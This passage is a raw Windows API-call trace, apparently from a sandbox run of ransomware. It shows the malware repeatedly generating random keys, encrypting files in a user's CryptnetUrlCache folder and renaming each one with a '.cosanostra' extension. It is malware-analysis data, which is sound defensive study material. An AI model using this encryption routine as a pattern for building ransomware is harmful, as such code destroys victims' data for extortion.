pbData=0x27c8c0*, pdwDataLen=0x251f0d0*=0x30) returned 1 [0101.961] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\d52c56d8f24bec96604372afbaf264e1_e76a2b627dd019eb51d9335f24b14c2c"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0102.132] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned 152 [0102.132] StrStrW (lpFirst="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", lpSrch=".txt") returned 0x0 [0102.133] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe5c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.133] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1a4, lpNumberOfBytesWritten=0x251f094, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f094*=0x1a4, lpOverlapped=0x0) returned 1 [0102.134] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.134] WriteFile (in: hFile=0x180, lpBuffer=0x251f0d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f094, lpOverlapped=0x0 | out: lpBuffer=0x251f0d4*, lpNumberOfBytesWritten=0x251f094*=0x4, lpOverlapped=0x0) returned 1 [0102.134] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f094, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f094*=0x30, lpOverlapped=0x0) returned 1 [0102.134] CloseHandle (hObject=0x180) returned 1 [0102.134] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C.cosanostra") returned 163 [0102.134] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\d52c56d8f24bec96604372afbaf264e1_e76a2b627dd019eb51d9335f24b14c2c"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\d52c56d8f24bec96604372afbaf264e1_e76a2b627dd019eb51d9335f24b14c2c.cosanostra")) returned 1 [0102.138] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0d8 | out: pbBuffer=0x251f0d8) returned 1 [0102.138] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f0d0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f0d0*=0x30) returned 1 [0102.138] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\bc570ec0de58335afaf92fdc8e3aa330_6ce6e578b5c8485b4be3c4d58e12f150"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0102.139] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned 152 [0102.139] StrStrW (lpFirst="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", lpSrch=".txt") returned 0x0 [0102.168] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffdfc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.168] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x204, lpNumberOfBytesWritten=0x251f094, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f094*=0x204, lpOverlapped=0x0) returned 1 [0102.169] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.169] WriteFile (in: hFile=0x180, lpBuffer=0x251f0d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f094, lpOverlapped=0x0 | out: lpBuffer=0x251f0d4*, lpNumberOfBytesWritten=0x251f094*=0x4, lpOverlapped=0x0) returned 1 [0102.169] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f094, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f094*=0x30, lpOverlapped=0x0) returned 1 [0102.169] CloseHandle (hObject=0x180) returned 1 [0102.169] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150.cosanostra") returned 163 [0102.169] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\bc570ec0de58335afaf92fdc8e3aa330_6ce6e578b5c8485b4be3c4d58e12f150"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\bc570ec0de58335afaf92fdc8e3aa330_6ce6e578b5c8485b4be3c4d58e12f150.cosanostra")) returned 1 [0102.170] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0d0 | out: pbBuffer=0x251f0d0) returned 1 [0102.170] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f0c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f0c8*=0x30) returned 1 [0102.170] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\9bc2ffc5d9591e1bd3545230e9b7cc36_cf30943571f9bee96c487b2d9f0436e6"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0102.170] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned 152 [0102.170] StrStrW (lpFirst="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", lpSrch=".txt") returned 0x0 [0102.171] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe7a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.171] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x186, lpNumberOfBytesWritten=0x251f08c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f08c*=0x186, lpOverlapped=0x0) returned 1 [0102.171] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.171] WriteFile (in: hFile=0x180, lpBuffer=0x251f0cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f08c, lpOverlapped=0x0 | out: lpBuffer=0x251f0cc*, lpNumberOfBytesWritten=0x251f08c*=0x4, lpOverlapped=0x0) returned 1 [0102.171] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f08c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f08c*=0x30, lpOverlapped=0x0) returned 1 [0102.171] CloseHandle (hObject=0x180) returned 1 [0102.172] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6.cosanostra") returned 163 [0102.172] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\9bc2ffc5d9591e1bd3545230e9b7cc36_cf30943571f9bee96c487b2d9f0436e6"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\9bc2ffc5d9591e1bd3545230e9b7cc36_cf30943571f9bee96c487b2d9f0436e6.cosanostra")) returned 1 [0102.174] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0d0 | out: pbBuffer=0x251f0d0) returned 1 [0102.175] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f0c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f0c8*=0x30) returned 1 [0102.175] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\955cab6ff6a24d5820d50b5ba1cf79c7_ad9e7615297a3a83320aace5801a04f9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0102.176] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned 152 [0102.176] StrStrW (lpFirst="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", lpSrch=".txt") returned 0x0 [0102.177] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffe6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.177] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x194, lpNumberOfBytesWritten=0x251f08c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f08c*=0x194, lpOverlapped=0x0) returned 1 [0102.177] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.177] WriteFile (in: hFile=0x180, lpBuffer=0x251f0cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f08c, lpOverlapped=0x0 | out: lpBuffer=0x251f0cc*, lpNumberOfBytesWritten=0x251f08c*=0x4, lpOverlapped=0x0) returned 1 [0102.177] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f08c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f08c*=0x30, lpOverlapped=0x0) returned 1 [0102.177] CloseHandle (hObject=0x180) returned 1 [0102.177] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9.cosanostra") returned 163 [0102.177] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\955cab6ff6a24d5820d50b5ba1cf79c7_ad9e7615297a3a83320aace5801a04f9"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\955cab6ff6a24d5820d50b5ba1cf79c7_ad9e7615297a3a83320aace5801a04f9.cosanostra")) returned 1 [0102.181] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0c8 | out: pbBuffer=0x251f0c8) returned 1 [0102.181] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f0c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f0c0*=0x30) returned 1 [0102.181] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\94308059b57b3142e455b38a6eb92015"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0102.181] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015") returned 119 [0102.181] StrStrW (lpFirst="94308059B57B3142E455B38A6EB92015", lpSrch=".txt") returned 0x0 [0102.182] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffeaa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.182] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x156, lpNumberOfBytesWritten=0x251f084, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x251f084*=0x156, lpOverlapped=0x0) returned 1 [0102.183] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.183] WriteFile (in: hFile=0x180, lpBuffer=0x251f0c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f084, lpOverlapped=0x0 | out: lpBuffer=0x251f0c4*, lpNumberOfBytesWritten=0x251f084*=0x4, lpOverlapped=0x0) returned 1 [0102.183] WriteFile (in: hFile=0x180, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f084, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f084*=0x30, lpOverlapped=0x0) returned 1 [0102.183] CloseHandle (hObject=0x180) returned 1 [0102.183] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015.cosanostra") returned 130 [0102.183] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\94308059b57b3142e455b38a6eb92015"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\94308059b57b3142e455b38a6eb92015.cosanostra")) returned 1 [0102.185] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0c8 | out: pbBuffer=0x251f0c8) returned 1 [0102.185] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f0c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f0c0*=0x30) returned 1 [0102.185] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8e4e510f44a56b8c8ecfec352907c373_411140098d71f028134e9b8a21255c61"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.216] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned 152 [0102.216] StrStrW (lpFirst="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", lpSrch=".txt") returned 0x0 [0102.217] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe6a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.217] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x196, lpNumberOfBytesWritten=0x251f084, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f084*=0x196, lpOverlapped=0x0) returned 1 [0102.217] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.217] WriteFile (in: hFile=0x15c, lpBuffer=0x251f0c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f084, lpOverlapped=0x0 | out: lpBuffer=0x251f0c4*, lpNumberOfBytesWritten=0x251f084*=0x4, lpOverlapped=0x0) returned 1 [0102.217] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f084, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f084*=0x30, lpOverlapped=0x0) returned 1 [0102.218] CloseHandle (hObject=0x15c) returned 1 [0102.218] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61.cosanostra") returned 163 [0102.218] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8e4e510f44a56b8c8ecfec352907c373_411140098d71f028134e9b8a21255c61"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8e4e510f44a56b8c8ecfec352907c373_411140098d71f028134e9b8a21255c61.cosanostra")) returned 1 [0102.219] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0c0 | out: pbBuffer=0x251f0c0) returned 1 [0102.219] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f0b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f0b8*=0x30) returned 1 [0102.219] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_581c904db5924e46a6c1a8637614a40e"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.220] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned 152 [0102.220] StrStrW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", lpSrch=".txt") returned 0x0 [0102.220] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe7e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.220] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x251f07c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251f07c*=0x182, lpOverlapped=0x0) returned 1 [0102.221] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.221] WriteFile (in: hFile=0x15c, lpBuffer=0x251f0bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f07c, lpOverlapped=0x0 | out: lpBuffer=0x251f0bc*, lpNumberOfBytesWritten=0x251f07c*=0x4, lpOverlapped=0x0) returned 1 [0102.221] WriteFile (in: hFile=0x15c, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f07c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f07c*=0x30, lpOverlapped=0x0) returned 1 [0102.221] CloseHandle (hObject=0x15c) returned 1 [0102.221] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E.cosanostra") returned 163 [0102.221] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_581c904db5924e46a6c1a8637614a40e"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_581c904db5924e46a6c1a8637614a40e.cosanostra")) returned 1 [0102.222] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f0c0 | out: pbBuffer=0x251f0c0) returned 1 [0102.222] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f0b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f0b8*=0x30) returned 1 [0102.222] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_50167909fcfe0c66153f1901439cbba1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.223] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS 